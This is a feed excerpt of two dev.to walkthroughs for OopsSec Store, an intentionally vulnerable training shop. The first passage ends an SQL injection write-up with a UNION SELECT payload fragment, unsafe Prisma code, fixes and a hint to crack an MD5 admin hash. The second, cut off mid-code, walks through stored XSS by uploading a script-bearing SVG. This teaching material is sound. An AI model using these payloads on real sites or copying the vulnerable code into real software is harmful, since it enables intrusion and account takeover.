&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sqlQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%' OR description LIKE '%&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%'
  ORDER BY name ASC
  LIMIT 50
`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;$queryRawUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sqlQuery&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;query&lt;/code&gt; parameter is dropped directly into the SQL string, and &lt;code&gt;$queryRawUnsafe&lt;/code&gt; does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.&lt;/p&gt;

&lt;p&gt;So when you send:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;DELIVERED&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT ...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;the quote closes the &lt;code&gt;LIKE&lt;/code&gt; clause, and everything after it runs as SQL. The database user can read other tables, so the &lt;code&gt;users&lt;/code&gt; table comes back for free.&lt;/p&gt;

&lt;p&gt;This is &lt;a href="https://cwe.mitre.org/data/definitions/89.html" rel="noopener noreferrer"&gt;CWE-89: Improper Neutralization of Special Elements used in an SQL Command&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;Don't build SQL queries with string interpolation. Use Prisma's query builder instead:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findMany&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;OR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;insensitive&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;insensitive&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;User input stays data, never becomes executable SQL.&lt;/p&gt;

&lt;p&gt;If you need raw SQL with Prisma, use &lt;code&gt;$queryRaw&lt;/code&gt; (parameterized), not &lt;code&gt;$queryRawUnsafe&lt;/code&gt;. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with &lt;code&gt;UNION SELECT&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Go further
&lt;/h2&gt;

&lt;p&gt;The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>nextjs</category>
      <category>javascript</category>
    </item>
    <item>
      <title>I uploaded a green square to a Next.js store and got stored XSS</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Fri, 25 Sep 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/i-uploaded-a-green-square-to-a-nextjs-store-and-got-stored-xss-53i5</link>
      <guid>https://dev.to/oopssec-store/i-uploaded-a-green-square-to-a-nextjs-store-and-got-stored-xss-53i5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Upload a malicious SVG to the admin product image field and get stored XSS that fires for every visitor.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The admin panel in OopsSec Store lets you upload product images, including SVGs. Since SVG is just XML, you can embed a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag in one, upload it as a product image, and the JavaScript runs in the browser of anyone who views that product.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;You need admin access. Two attack chains can get you there:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://koadt.github.io/oss-oopssec-store/posts/sql-injection-writeup/" rel="noopener noreferrer"&gt;SQL injection to dump the admin password hash&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://koadt.github.io/oss-oopssec-store/posts/weak-md5-hashing-admin-compromise/" rel="noopener noreferrer"&gt;Weak MD5 hashing to crack the admin password&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do those first.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;If OopsSec Store isn't already running locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Once it's up, go to &lt;code&gt;http://localhost:3000&lt;/code&gt; and log in with the admin credentials you recovered.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerability overview
&lt;/h2&gt;

&lt;p&gt;The admin panel has a product editor where you can upload images. SVG is in the list of allowed formats, and that's the whole problem: SVG files can contain JavaScript.&lt;/p&gt;

&lt;p&gt;Two things make this exploitable:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The server only checks the &lt;code&gt;Content-Type&lt;/code&gt; header, which the client controls entirely&lt;/li&gt;
&lt;li&gt;The frontend renders SVGs with an &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; tag, which executes embedded scripts (an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag would not)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Upload a malicious SVG as a product image, and the script runs for every user who loads that product page, the admin preview included.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Finding the upload
&lt;/h3&gt;

&lt;p&gt;Go to &lt;code&gt;http://localhost:3000/admin/products&lt;/code&gt;. You can edit any product and swap its image.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7f6x1233gz4rpnwmffe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7f6x1233gz4rpnwmffe.png" alt="Admin product management interface showing the product list" width="800" height="455"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Crafting the SVG
&lt;/h3&gt;

&lt;p&gt;Create &lt;code&gt;xss.svg&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt; &lt;span class="na"&gt;viewBox=&lt;/span&gt;&lt;span class="s"&gt;"0 0 100 100"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;rect&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"#4ade80"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;script&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    alert('XSS executed!');
  &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Just a green square with an &lt;code&gt;alert()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Uploading it
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Pick a product to edit&lt;/li&gt;
&lt;li&gt;Upload &lt;code&gt;xss.svg&lt;/code&gt; as its image&lt;/li&gt;
&lt;li&gt;Save&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The server doesn't inspect the file contents. You get the flag right after a successful upload.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyqa3guipblpmul73al45.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyqa3guipblpmul73al45.webp" alt="Flag displayed after successful malicious SVG upload" width="800" height="605"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Triggering execution
&lt;/h3&gt;

&lt;p&gt;The script fires on the product page (&lt;code&gt;/products/[product-id]&lt;/code&gt;), in the admin panel preview, and if you access the file directly at &lt;code&gt;/api/uploads/[filename].svg&lt;/code&gt;. The browser parses the SVG, hits the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, and runs it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8i6eyx3nyw1qvxm7ll4n.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8i6eyx3nyw1qvxm7ll4n.webp" alt="XSS alert dialog displayed on the product page" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Server-side: header-only validation
&lt;/h3&gt;

&lt;p&gt;The upload endpoint checks &lt;code&gt;file.type&lt;/code&gt;, which is just the &lt;code&gt;Content-Type&lt;/code&gt; header from the request. The client sets that, so it means nothing:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ALLOWED_CONTENT_TYPES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/jpeg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/gif&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/webp&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/svg+xml&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// SVG files can contain JavaScript&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;ALLOWED_CONTENT_TYPES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid file type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;No magic byte inspection, no content scanning. Whatever the client says the file is, the server believes.&lt;/p&gt;
&lt;h3&gt;
  
  
  Frontend: &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; tag rendering
&lt;/h3&gt;

&lt;p&gt;The product page uses &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt; for SVGs:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;.svg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;object&lt;/span&gt;
      &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"image/svg+xml"&lt;/span&gt;
      &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"h-full w-full object-cover"&lt;/span&gt;
    &lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;alt&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;object&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
